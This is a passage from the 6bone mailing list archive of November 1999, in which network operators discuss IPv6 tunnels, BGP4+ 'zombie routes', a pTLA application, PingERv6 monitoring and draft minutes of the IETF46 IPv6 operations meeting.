Sciences and Engineering.  I have spent a number of years in networking and
have focused my college curriculum accordingly.

I have undertaken an independent study at UNF on IPv6 under the supervision
of Mr. Paul Higbee (phigbee@unf.edu).  I have done extensive research and
software configuration on Windows NT and Linux using experimental IPv6
stacks.

The University of North Florida has allowed me to configure a Cisco router
to communicate with the 6bone through our computer network.  They have
granted me a static IPv4 address to assign to a Cisco 2501 router and tunnel
to the 6bone network.

I am in need of assistance in making arrangements with the closest
IPv4-to-IPv6 peer.

Can anyone here guide me in the right direction?

Thank you,
Jason S. Bogin, CNE, MCSE
University of North Florida
College of Computing Sciences and Engineering
http://www.unf.edu
bogj0001@unf.edu
jason@jax-inc.com


From 6bone-owner  Tue Nov  9 07:06:33 1999
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http://research.microsoft.com/msripv6/ 
http://research.microsoft.com/msripv6/newreg.asp

There you go!
Thanks, Jason



-----Original Message-----
From:	Carlos Davila [mailto:cdavila@metlife.com]
Sent:	Tuesday, November 09, 1999 9:32 AM
To:	jason@jax-inc.com
Subject:	Re: New to the 6bone mailing list...



Jason,

Where did you get your IPV6 stack for your NT workstation.

Carlos




From 6bone-owner  Tue Nov  9 14:06:47 1999
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Date: Tue, 09 Nov 1999 14:06:14 -0800
To: NGtrans List <ngtrans@sunroof.eng.sun.com>, 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: reminder of IPv6 Ops Topics meeting THURSDAY, 11:45-12:45,
  Regency Room prior to IPng
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This is just a reminder of the: 

       IPv6 Ops Topics meeting
              Thursday
             11:45-12:45
            Regency Room
(where IPng will meet when we are done)


I may have misled some that it was Wed., but it is THURSDAY.


Current agenda: (but Marc Blanchet and I are still changing/adding/...)

6bone cleanup/hardening
 Rob Rockell - HARDEN and routes (along with Ivano)

What registry enhancements do we want
 David Kessens (mainly responding to change ideas)

Production sTLA allocation
 Kengo NAGAHASHI - net allocs in JP
 Bob Fink - 6PAPA process

PingER for IPv6
  Bob Fink (get people to volunteer pingable hosts)

v6-Exchanges
 Itojun et al - IPv6 exchange in Japan
 Marc Blanchet - 6TAP


Thanks,

Bob

From 6bone-owner  Wed Nov 10 08:26:48 1999
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From: Kunihiro Ishiguro <kunihiro@zebra.org>
To: fink@es.net
Cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: Re: reminder of IPv6 Ops Topics meeting THURSDAY, 11:45-12:45,  Regency Room prior to IPng
In-Reply-To: In your message of "Tue, 09 Nov 1999 14:06:14 -0800"
	<4.1.19991109135723.015e7a60@imap2.es.net>
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Hi, this is Kunihiro Ishiguro.

>6bone cleanup/hardening
> Rob Rockell - HARDEN and routes (along with Ivano)

I know there are several ugly routes in current 6bone.  Definitely it
is an operational issue (announce routes which shouldn't be
announced).

Adding to that I'm thinking there could be an BGP-4+ implementation
issue.  Even though originator stopped the announcement, it seems that
some routes never disappear from the 6bone.

Let me show an example.  Todays BGP-4+ logging information at Merit
 shows that:

http://www.merit.net/mail.archives/html/6bone-routing-report/msg00596.html
==========================================================================
Poorly Aggregated Prefixes (>24 in 3ffe:0000::/17 or >28 in 3ffe:8000::/17):
Format: Prefix path AS-Path (Origin-AS -- Availability)
--------------------------------
  WIDE (3ffe:500::/24) had 18 route(s)
    3ffe:508:0:3::/64 path 1225 2547 559 5408 1752 3185 786 1849 2839 237 7680 ( -- 0%)
    3ffe:508:0:2::/64 path 1225 2547 559 5408 1752 3185 786 1849 2839 237 7680 ( -- 0%)
    3ffe:508:1::/64 path 1225 2547 559 5408 1752 3185 786 1849 2839 237 7680 ( -- 0%)
    3ffe:508::/64 path 1225 2547 559 5408 1752 3185 786 1849 2839 237 7680 ( -- 0%)
    3ffe:503:1050::/48 path 1225 2547 559 5408 1752 3185 786 1849 2839 237 7680 ( -- 0%)
    3ffe:508:5::/48 path 1225 2547 559 5408 1752 3185 786 1849 2839 237 7680 ( -- 0%)

I'm sure that originator already stopped the announcement.  So the bad
guy is not the originator at this moment.  I'm thinking there may be
an router which never forget BGP-4+ routes.

And worse, those routes are flapping!.  The logging shows it is 0%
life time.  The routes are withdrawn right after the announcement.  So
it is hard to find the problem.  When you type `show ipv6 bgp' like
command from your terminal interface, it will not be shown.  Let me
call those routes as `zombie routes'.

If we have time, I and Mr. Ikuo Nakagawa talk about this problem at
IPv6 Ops Topics meeting.
-- 
Kunihiro Ishiguro

From 6bone-owner  Wed Nov 10 18:09:31 1999
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Date: Wed, 10 Nov 1999 18:10:19 -0800
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Subject: Re: reminder of IPv6 Ops Topics meeting THURSDAY, 11:45-12:45,
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Bob Fink wrote:

> This is just a reminder of the:
>
>        IPv6 Ops Topics meeting
>               Thursday
>              11:45-12:45
>             Regency Room
> (where IPng will meet when we are done)

Whoa, I must have missed something while I was out of town last week.
That's this Thursday in the Regency Room of What Hotel, What city?

>
>
>

--
                                ,,,
                               (o o)
     |----------------------oOO-(_)-OOo-------------------------|
     | Bradley D. Thornton             "So foul a sky clears    |
     | Mgr NetWork Services             not without a storm"    |
     | NOMAD Internetwork                      - Shakespeare -  |
     |                    www.linboard.com                      |
     |----------------------------------------------------------|
     |-----On the Beaches of Super Sunny Southern California----|
     |==========================================================|




From 6bone-owner  Wed Nov 10 19:54:52 1999
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Date: Wed, 10 Nov 1999 19:51:33 -0800
To: "Bradley D. Thornton" <tallship@access1.net>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: reminder of IPv6 Ops Topics meeting THURSDAY, 11:45-12:45,
  Regency Room prior to IPng
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--=====================_26704028==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 06:10 PM 11/10/99 -0800, Bradley D. Thornton wrote:
>Bob Fink wrote:
>
> > This is just a reminder of the:
> >
> >        IPv6 Ops Topics meeting
> >               Thursday
> >              11:45-12:45
> >             Regency Room
> > (where IPng will meet when we are done)
>
>Whoa, I must have missed something while I was out of town last week.
>That's this Thursday in the Regency Room of What Hotel, What city?


This is at the IETF meeting. If you don't know where that is, you don't 
need to worry about it :-)


<http://www.ietf.org/meetings/directions.html>


Bob

--=====================_26704028==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 06:10 PM 11/10/99 -0800, Bradley D. Thornton wrote:<br>
<blockquote type=cite cite>Bob Fink wrote:<br>
<br>
&gt; This is just a reminder of the:<br>
&gt;<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IPv6 Ops Topics
meeting<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Thursday<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
11:45-12:45<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Regency Room<br>
&gt; (where IPng will meet when we are done)<br>
<br>
Whoa, I must have missed something while I was out of town last
week.<br>
That's this Thursday in the Regency Room of What Hotel, What
city?</blockquote><br>
<br>
This is at the IETF meeting. If you don't know where that is, you don't
need to worry about it :-)<br>
<br>
<br>
&lt;<a href="http://www.ietf.org/meetings/directions.html" eudora="autourl">http://www.ietf.org/meetings/directions.html</a>&gt;<br>
<br>
<br>
Bob<br>
</html>

--=====================_26704028==_.ALT--


From 6bone-owner  Mon Nov 15 17:17:20 1999
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Date: Mon, 15 Nov 1999 17:17:07 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA request from DTI starts 2-week review, closes 29
  Nov 99
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6bone Folk,

DTI (Dream Train Internet) in Japan has applied for a pTLA, thus I'm 
opening a two week review of their pTLA request (see below). This closes on 
29 Nov 99.

Note that this request is being made using the HARDEN I-D, not RFC 2546, 
which are more stringent that 2546:

<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-02.txt>

I think this is appropriate as this I-D passed WG last call last Monday and 
will be forwarded soon to the IESG to replace 2546.


Thanks,

Bob

====

>To: fink@es.net
>Cc: koji@dti.ad.jp, kay@v6.access.co.jp
>Subject: pTLA request from DTI
>From: Koji Kondo <koji@dti.ad.jp>X-Mailer: Mew version 1.95b3 on Emacs 
>20.3 / Mule 4.0 (HANANOEN)
>Date: Tue, 16 Nov 1999 09:57:54 +0900
>
>Hi,
>
>We, DTI, would like to request a pTLA prefix.
>In draft-ietf-ngtrans-harden-01.txt Chapter 7:
>
>   1. The pTLA Applicant must have a minimum of three (3) months
>      qualifying experience as a 6Bone end-site or pNLA transit.
>      During this entire qualifying period the Applicant must be
>      operationally providing the following:
>
>We are a transit pNLA site under the WIDE pTLA since August 1998.
>Now, we have 6bone connectivity as follows,
>- some pTLAs peering with BGP4+ at NSPIXP6(IPv6-based IX in Tokyo).
>- some NLAs peering with BGP4+ or RIPng.
>
>      a. Fully maintained, up to date, 6Bone Registry entries for their
>         ipv6-site inet6num, mntner, and person objects, including each
>         tunnel that the Applicant has.
>
>ipv6-site object is DTI.
>inet6num object is 3FFE:50A::/32.
>mntner object is MNT-DTI.
>
>      b. Fully maintained, and reliable, BGP4+ peering and connec-
>         tivity between the Applicant's boundary router with the
>         appropriate hierarchy.  This includes a high uptime
>         availability of the site router (greater than 99%). This
>         router must be IPv6 pingable.
>
>We maintain BGP4+ router(ix6.v6.dti.ad.jp) at NSPIXP6 in tokyo and have
>high uptime availability.
>
>      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>         entries for their site's router, and at least one host ser-
>         ver system.
>
>DNS forward (AAAA) and reverse (ip6.int) are available.
>
>      d. A fully maintained, and reliable host server system providing,
>         at a mimimum, one or more web pages describing the applicant's
>         project and service on the 6Bone, available via IPv6.  This
>         server must be IPv6 pingable.
>
>Web page is available. This server can connect via IPv4 and IPv6,
>and IPv6 pingable.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-like" 6Bone backbone service to provide a robust
>       and operationally reliable 6Bone backbone. Applicants must pro-
>       vide a statement and some supportable information to support
>       this claim.  This MUST include the following:
>
>We are now providing connectivity services to three IPv6 leaf sites.
>Our connection details is available at
>"http://www.v6.dti.ad.jp/connections.html" .
>
>      a. a support staff of two persons minimum, 3 preferable, with
>         person attributes registered for each in the ipv6-site object
>         for the pTLA applicant.
>
>Person attributes are "KK1-6BONE" and "ST1-6BONE".
>
>      b. a common mailbox for support contact purposes that all staff
>         have acess to , pointed to with a notify attribute in the ipv6-
>         site object for the pTLA Applicant.
>
>All of staffs have accesstable mailbox both via ipv4 and ipv6.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or
>       focus of interest.  Applicant must provide a statement and some
>       supportable information to support this claim.
>
>We are one of the major ISPs in Japan. And already offering connectivity
>to three IPv6 leaf sites(see above "connection details page").
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of appli-
>       cation, and agree to abide by future 6Bone backbone operational
>       rules and policies as they evolve by consensus of the 6Bone
>       backbone and user community.
>
>We will commit to abide by the 6Bone backbone operational rules and
>policies.
>
>regards,
>koji


From 6bone-owner  Tue Nov 16 05:34:19 1999
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Date: Tue, 16 Nov 1999 08:33:01 -0500 (EST)
From: Edward Verweij <ipversion6@mail.com>
To: 6bone@ISI.EDU
Subject: Tokenring
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Hi,

For my company I’m busy with research on IPv6. I always see configurations
with Ethernet. Does anyone have experience with a tokenring network?
Is er anyone how has experience with tokering to Ethernet routers en vice
versa?

And is the Cisco 2500 and 2600 series capable of upgrading to IPv6.
Specially the 2502, 2513 and 2612.

Thanks,

Edward

__________________________________________________
FREE Email for ALL! Sign up at http://www.mail.com


From 6bone-owner  Tue Nov 16 08:21:43 1999
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Date: Tue, 16 Nov 1999 08:13:53 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: PingERv6 participants needed
Cc: Warren Matthews <warrenm@SLAC.Stanford.EDU>
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This is a reminder to 6bone (and other IPv6 providers) that there is an 
excellent service now available for IPv6 networks that has been of great 
use (in its IPv4 form) to the inernational Energy Research networking 
community of labs, universities and other collaborators around the world.

So please re-read :-) Warren Matthews email below, and help us provide 
PingERv6 service.

The www-iepm web pages at SLAC,

<http://www-iepm.slac.stanford.edu>

provide an excellent overview as wellas access to some really need 
performance data about IPv4.

So let's get started to collect IPv6 data as well.


Thanks,

Bob

===
Date: Thu, 04 Nov 1999 19:47:42 -0800 (PST)
From: Warren Matthews <warrenm@SLAC.Stanford.EDU>
Subject: IPv6 Network Monitoring
To: 6bone@ISI.EDU
Cc: iepm@SLAC.Stanford.EDU

I would like to monitor network performance to your IPv6 node.

The pingER project has been gathering data on internet end-to-end
performance for nearly 5 years and I am pleased to announce our monitoring
software now runs on IPv6. We would like to get the PingER-6 project off
the ground and gather some data.

All we want from you is the name of an IPv6 machine and your permission to
ping it.

Details of PingER are available at http://www-iepm.slac.stanford.edu

--------------------------------------------------------------------------
Warren Matthews                       If ease of use was the highest goal,
Senior Network Specialist                  we'd all be driving golf carts.
Stanford Linear Accelerator Center.                          - Larry Wall.

-end


From 6bone-owner  Tue Nov 16 08:24:03 1999
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Reply-To: "Latif LADID" <latif.ladid@tbit.dk>
From: "Latif LADID" <Latif.LADID@village.uunet.lu>
To: <6bone@ISI.EDU>, "Edward Verweij" <ipversion6@mail.com>
Cc: "Jens Kristian Kjaergaard" <jkk@tbit.dk>
Subject: Re: Tokenring
Date: Tue, 16 Nov 1999 17:23:35 +0100
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Yes, please speak directly to Jens (copied above) at Ericsson Telebit about
 the impelemntation of IPv6 over Token-ring.

/Latif

-----Original Message-----
From: Edward Verweij <ipversion6@mail.com>
To: 6bone@ISI.EDU <6bone@ISI.EDU>
Date: Tuesday, November 16, 1999 05:15
Subject: Tokenring


:Hi,
:
:For my company I’m busy with research on IPv6. I always see configurations
:with Ethernet. Does anyone have experience with a tokenring network?
:Is er anyone how has experience with tokering to Ethernet routers en vice
:versa?
:
:And is the Cisco 2500 and 2600 series capable of upgrading to IPv6.
:Specially the 2502, 2513 and 2612.
:
:Thanks,
:
:Edward
:
:__________________________________________________
:FREE Email for ALL! Sign up at http://www.mail.com
:
:


From 6bone-owner  Tue Nov 16 09:17:16 1999
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Subject: I need a tunnel for AT&T Labs - Research
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Our network provider is UUNET (I know, it's funny), and we're hanging off
one of their Newark pops.  Here are the few lines of a traceroute: 

# traceroute 135.207.1.1 
...
11  101.ATM6-0.TR1.EWR1.ALTER.NET (146.188.136.186)  9.771 ms  11.417 ms  8.731 ms
12  200.ATM7-0.XR1.EWR1.ALTER.NET (146.188.176.77)  10.160 ms  9.868 ms  9.102 ms
13  193.ATM9-0-0.GW1.EWR1.ALTER.NET (146.188.176.41)  11.744 ms  11.699 ms  11.945 ms
14  attfp-gw.customer.ALTER.NET (157.130.0.178)  13.407 ms  14.029 ms  12.789 ms

Thanks,

/ji

From 6bone-owner  Tue Nov 16 19:53:21 1999
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Date: Tue, 16 Nov 1999 22:17:32 -0500
To: John Ioannidis <ji@research.att.com>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: I need a tunnel for AT&T Labs - Research
Cc: ipv6@viagenie.qc.ca
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JI, we are also with uunet. We can provide you a tunnel. I'll continue that 
conversation off this list. Please send email to our ipv6 group at 
ipv6@viagenie.qc.ca

Regards, Marc.

At 12:17 99-11-16 -0500, John Ioannidis wrote:
>Our network provider is UUNET (I know, it's funny), and we're hanging off
>one of their Newark pops.  Here are the few lines of a traceroute:
>
># traceroute 135.207.1.1
>...
>11  101.ATM6-0.TR1.EWR1.ALTER.NET (146.188.136.186)  9.771 ms  11.417 
>ms  8.731 ms
>12  200.ATM7-0.XR1.EWR1.ALTER.NET (146.188.176.77)  10.160 ms  9.868 
>ms  9.102 ms
>13  193.ATM9-0-0.GW1.EWR1.ALTER.NET (146.188.176.41)  11.744 ms  11.699 
>ms  11.945 ms
>14  attfp-gw.customer.ALTER.NET (157.130.0.178)  13.407 ms  14.029 
>ms  12.789 ms
>
>Thanks,
>
>/ji


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
2875 boul. Laurier, suite 300	| tél.: 418-656-9254
Ste-Foy, Québec		| fax.: 418-266-5539
Canada, G1V 2M2		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
                http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Wed Nov 17 12:59:53 1999
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Date: Wed, 17 Nov 1999 12:59:32 -0800
To: Warren Matthews <warrenm@SLAC.Stanford.EDU>
From: Bob Fink <fink@es.net>
Subject: PingERv6 data
Cc: 6BONE List <6bone@ISI.EDU>
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--=====================_192682451==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 12:34 PM 11/17/99 -0800, Warren Matthews wrote:

>Indeed there has been a wonderful response. We are now monitoring 26 nodes
>all around the world.
>
>For the links, please point to
>
>   http://www-iepm.slac.stanford.edu/monitoring/6ren/
>
>This page will (eventually) have discussion as well as a link to the
>report.


Cool! No,fantastic! Great work.

It's now got a pointer on the 6bone pages:

  <http://6bone.net>


Thanks,

Bob

--=====================_192682451==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 12:34 PM 11/17/99 -0800, Warren Matthews wrote:<br>
<br>
<blockquote type=cite cite>Indeed there has been a wonderful response. We
are now monitoring 26 nodes<br>
all around the world.<br>
<br>
For the links, please point to <br>
<br>
&nbsp;
<a href="http://www-iepm.slac.stanford.edu/monitoring/6ren/" eudora="autourl">http://www-iepm.slac.stanford.edu/monitoring/6ren/</a><br>
<br>
This page will (eventually) have discussion as well as a link to 
the<br>
report.</blockquote><br>
<br>
Cool! No,fantastic! Great work. <br>
<br>
It's now got a pointer on the 6bone pages:<br>
<br>
&nbsp;&lt;<a href="http://6bone.net/" eudora="autourl">http://6bone.net</a>&gt;<br>
<br>
<br>
Thanks,<br>
<br>
Bob<br>
</html>

--=====================_192682451==_.ALT--


From 6bone-owner  Thu Nov 18 03:03:41 1999
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Date: Thu, 18 Nov 1999 10:40:12 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: (ngtrans) Working Group last call for BROKER-02, closes 1 Dec	99
To: "'Matt Crawford'" <crawdad@fnal.gov>
Cc: Fasano Paolo <Paolo.Fasano@CSELT.IT>, "'6bone'" <6bone@ISI.EDU>
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Matt,

draft-ietf-ngtrans-broker-02 is intended to be framework document 
describing the guidelines for the provision of a Tunnel Broker service
within the Internet. For this reason it does not specifies any protocol
or MIME type but details the general architecture of the proposed
approach and outlines a set of available alternatives for implementing it.
Anyway I agree with you when you say that the use of a newly
defined MIME type to deliver the tunnel parameters to the client is a 
very attractive alternative which is certainly worth envisaging. But I think
that such an effort should be the subject of a companion document to
be published on the standards track.
What I can certainly do in broker-02 is to add a few sentences
clarifying that the MIME-based approach you propose is a valuable
alternative for the implementation of the broker-client interaction and that
for this reason the definition of a new MIME type to deliver tunnel 
configuration parameters is strongly recommended. In addition I can 
better clarify in the security considerations that the use of .bat or shell 
scripts to configure the client is frightening insecure and should be 
considered only for early implementations of the Tunnel Broker approach.

Bye
Ivano

 

> ----------
> From: 	Matt Crawford[SMTP:crawdad@fnal.gov]
> Reply To: 	Matt Crawford
> Sent: 	Wednesday, November 17, 1999 11:52 PM
> To: 	NGtrans List
> Subject: 	Re: (ngtrans) Working Group last call for BROKER-02, closes
> 1 Dec 99
> 
> Sorry, Bob and authors, but I don't think there's enough material
> there to publish as an RFC unless you define the format of the tunnel
> parameters returned to the client.  I've been saying for a year now
> that there ought to be such a definition and it should be client-
> platform independent.  (To preserve the attractive convenience -- and
> frightening insecurity -- of sending over a .BAT file or shell
> script, the response might be a MIME multipart/alternative.)
> 
> 				Matt
> 

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Subject: Fun with Novell and IPv6
To: 6bone@ISI.EDU
Date: 18 Nov 99 14:20:38 UT
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Since I try to get IPv6 running with Netware
(its one of the main reasons I try IPv6 here and connected to 6bone)
I tried once again to find someone who could tell me about a Novell
Netware implementation for IPv6. So I tried forums.novell.com (NNTP).
I can only see this issue with a bit sarcasm, but, read ahead.

Subject: No IPv6 for Netware?
Date: Wed, 17 Nov 1999 09:49:18 +0100
From: Thomas Kuiper <tkuiper@tobit.com>
Organization: Tobit Software
Newsgroups: novell.generaltcpip

Hi,

I've been looking around for a Netware IPv6 Stack but couldn't
find it either on Netware 5 or somewhere on the Novell site.

Are there any IPv6 implementations for Netware?

On http://developer.novell.com/research/appnotes/1997/march/03/04.htm
its noted that there is "going to be" support for it in the next
generation of products (Netware 5?). Also NTP is mentioned there as
upcoming feature, but I didn't find IP Security/NTP or IPv6 inside
Netware 5.

Best regards,
Thomas Kuiper


~~~ First reply:

Subject: Re: No IPv6 for Netware?
Date: Wed, 17 Nov 1999 08:29:34 -0500
From: Michael Bell <mikebell90@yahoo.com>
Organization: Novell Support Connection Forums
Newsgroups: novell.generaltcpip

NTP is built into TIMESYNC as of SP1 or 2. 

IPv6 -- no, I think this is still not available.

Michael J. Bell
Novell Support Connection Volunteer Sysop

~~~ Second reply:

Subject: Re: No IPv6 for Netware?
Date: Wed, 17 Nov 1999 08:56:23 EST
From: Joseph Moore [SysOp] <joenettroll@attglobal.net>
Organization: Novell Support Connection Forums
Newsgroups: novell.generaltcpip


I don't think IPv6 is available for NetWare yet.

Joe Moore

Novell Support Connection Volunteer Sysop
http://www.joenettroll.net/network.html
http://www.planetall.com/main.asp?s=3D1043&cid=3D223904
http://www.planetall.com/main.asp?cid=3D223904&gid=3D40734&s=3D40
NO EMAIL PLEASE!!!!!

~~~ Third reply:

Subject: Re: No IPv6 for Netware?
Date: Wed, 17 Nov 1999 20:21:29 -0700
From: Craig Johnson <craig.johnson@sysops.nsc>
Organization: Novell Support Connection Forums
Newsgroups: novell.generaltcpip


Ipv6 isn't there yet.  I believe that is still 'in development'.

Craig Johnson
Novell Support Connection SysOp


~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~

so I thought: wow, hm, 2 support guys of Novell say
"I *think* its not done yet" and one says "I BELIEVE(!)
its in development", lets ask them for a time.

So I wrote:

Subject: Re: No IPv6 for Netware?
Date: Wed, 17 Nov 1999 15:53:04 +0100
From: Thomas Kuiper <tkuiper@tobit.com>
Organization: Tobit Software
Newsgroups: novell.generaltcpip

I really would like to know but nobody at Novell could tell
me this. There are the specs...

~~~ and the best reply I have ever seen from a support guy:

Subject: Re: No IPv6 for Netware?
Date: Thu, 18 Nov 1999 06:00:08 EST
From: Joseph Moore [SysOp] <joenettroll@attglobal.net>
Organization: Novell Support Connection Forums
Newsgroups: novell.generaltcpip

Thomas Kuiper :

Well, none of us work for Novell...so we don't know either.

Joe Moore
Novell Support Connection Volunteer Sysop
http://www.joenettroll.net/network.html
http://www.planetall.com/main.asp?s=3D1043&cid=3D223904
http://www.planetall.com/main.asp?cid=3D223904&gid=3D40734&s=3D40
NO EMAIL PLEASE!!!!!

~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~

why couldn't they say that in the first place :(
Novell has a contact listed about IPv6 on:
http://playground.sun.com/ipng/ipng-implementations.html#Novell

if you try to mail him postmaster@novell.com sends you back
that andy@novell.com isn't valid anymore :-<

So IPv6 got dropped at all now at Novell or what?
Only one document from 1997 on their server telling it will be
availiable "in a future release".

I'm lost now. It would be really wonderfull if someone could
tell me what is going on at Novell with IPv6.

Gruss/Regards,
Thomas


Thomas Kuiper        |   tkuiper@tobit.com   |  www.tobit.com     __
Core Development     |   TK3680-RIPE         |                   /__/\
Tobit Software GmbH  |   ICQ #8345483        |  ask your server. \__\/


To: join@uni-muenster.de
    ipng@sunroof.eng.sun.com
    6bone@isi.edu
Cc: jokes@irc.ircnet.dk
    dv@engerim.dachbu.de

--------------1DD2510B41FE--


From 6bone-owner  Mon Nov 22 09:13:07 1999
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Date: Mon, 22 Nov 1999 09:02:09 -0800
To: 6BONE List <6bone@ISI.EDU>, NGtrans List <ngtrans@sunroof.eng.sun.com>
From: Bob Fink <fink@es.net>
Subject: draft minutes of IPv6 Ops Topics meeting at IETF46 in Wash DC
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6bone and ngtrans folk,

This is the first draft of the IPv6 Ops Topics meeting held during the noon 
break on Thursday at the IETF. This is an extension of the ngtrans/6bone 
activity to attempt to generalize our operational experience to include 
early production networks.

Please forgive my forgetting peoples names and scrambled events, but 
Thanksgiving preparations have made me forgetful (or was it old age?).

Anyway, please send me corrections, additions, etc.


Thanks,

Bob

===
IPv6 Operational Topics meeting
IETF46 in Wash DC
11 November 1999

___

Organizers:

Bob Fink <rlfink@lbl.gov>
Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>

This ngtrans meeting reported by Marc Blanchet and Bob Fink.
Attendance was estimated as 75-100.

Bob Fink chaired the meeting.

This meeting is actually part of the ngtrans/6bone activity, but designed 
to focus a little more on general operational topics beyond just the 6bone, 
e.g., 6REN and other early production IPv6 nets, hence the title "IPv6 Ops 
Topics". Bob Fink asked attendees if they had any preference as to how this 
meeting be held in future IETFs. Matt Crawford suggested under the IEPG, to 
which Bob noted that he and Marc had given some IPv6 presentations at at 
this IETF, but was not sure this was the best time as there is limited 
attendance on Sundays.

___

Zombie routes in 6bone

Ikuo Nakagawa and Kunihiro Ishiguro spoke on the phenomenon they called 
Zombie routes, which are non-aggregated routes that happened to be 
announced from somewhere, but not actually the neighbor forwarding them, 
and they are not even in the ASpath.

The behavior is that the originator has announced once, but no more 
announce it, but someone propagates infinitely. It is most liekly a bug in 
some routing code. To fix one has to find which site and then find which 
code they run and then upgrade ASAP.

Marc Blanchet noted that we should not fingerpoint at people, rather we 
should try to collaborate, as we always have on the 6bone.

Francis Dupont pointed out the need to move to the latest BGP4+ draft.

Ivano Guardini commented that aggregration has to be fixed as it is 
currently very poor.

Rob Rockell commented that most problems can be fixed by filtering. He 
asked if we should do a draft on how to filter?

William Maton note that onecould use the registry and RPSL to help filtering.

___

6bone Registry

David Kessens noted that he was going to (or was it "able to") provide a 
web interface to help people filtering in config files.

Joan ? noted that the inet6num object is used by RIPE-NCC and APNIC, but 
not ARIN at this time.

David Kessens noted that a subgroup of db-rpsl works on the ipv6 features 
in the current registry. He will do a script to automatically fetch v6 
objects from RIR registries.

Alain Durand commented that if we provide tools for filtering, then people 
will be interested in updating their objects.

W. Wober commented that instead of throwing away problems by upgrading 
software, we should fix the problems.

___

WIDE IPv6 addressing architecture

?? presented an overview of the WIDE IPv6 addressing architecture.

The WIDE production subTLA (2001:200::/35) has been divided into 2 spaces:
   NLA1 divided at /31 for ISPs
   NLA2 divided at /48 for end-sites
   2001:200:0::/48 is used for the backbone

Use policies are:
   not for commerce
   do not connect to grand-children orgs
   must announce aggregated routes
   must report the status of IPv6 utilisation of each org
   must update registry database

___

6PAPA

Bob Fink noted that he had written the 6papa-00 I-D (under ngtrans) to 
formalize the RIR-6bone pre-qualification process. An updated version will 
follow soon which will be then sent to WG last call for forwarding to the 
IESG as an Informational RFC.
___

NSPIXP-6 v6 exchange in Japan

Akiro Kato gave an overview of the NSPIXP-6 IPv6 exchange in Japan.

  experimental purpose: route server, IX-based address
  single FE switch
  5 ISPs connected: 2 sTLAs, 2 NLA1s
  extensions via ATM/FE bridge, using ATM network via apan/transpac to 
startap, to Korea, Singapore and Malaysia

It was noted that there are v6-exchanges at:
  6tap, Chicago NAP/STAR TAP
  NSPIXP-6, Japan
  AMS-IX - Amsterdam/ND
  plans for New York/US, Palo Alto/US

___

PingERv6

Bob Fink briefly noted that the US Energy Research PingER (over IPv4) 
project lead by SLAC now supports IPv6. Ping statistics are gathered with 
extensive data basing, analysis and graphical display.

Bob asked people to send host addresses to be pinged, or ping sources, as 
had been previously announced on the 6bone list.

-end


From 6bone-owner  Mon Nov 22 17:06:16 1999
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From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Linux operating system kernel versions
Date: Mon, 22 Nov 1999 20:03:58 -0500
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Hello from Gregg C Levine usually at Jedi Knight Computers
What is the current version of the kernel for the Linux distributions, that 
support IPv6? I see a driver/module for Slackware versions 4.0 to 7.0, and 
those two, inconclusive are using version 2.0.34. Naturally the methods 
described by that driver/module may not be current. I only need to know 
what the current kernel version is, that support IPv6.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
 

From 6bone-owner  Mon Nov 22 20:30:33 1999
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Date:   Tue, 23 Nov 1999 05:29:58 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: Linux operating system kernel versions
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On Mon, Nov 22, 1999 at 08:03:58PM -0500, Gregg C Levine wrote:
> Hello from Gregg C Levine usually at Jedi Knight Computers
> What is the current version of the kernel for the Linux distributions, that 
> support IPv6? I see a driver/module for Slackware versions 4.0 to 7.0, and 

2.2.x or development (dangerous) version 2.3.x . Don't know about Slackware,
RedHat 6.x includes kernels from 2.2 series but you have to compile it yourself
from original or RedHat modified sources with IPv6 turned on.

R.
-- 
Ale kto by my³ rêce po przywitaniu siê z mê¿em? - A. Fedorczyk

From 6bone-owner  Mon Nov 22 22:10:23 1999
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Date: Tue, 23 Nov 1999 07:10:49 +0100
To: Gregg C Levine <hansolofalcon@worldnet.att.net>,
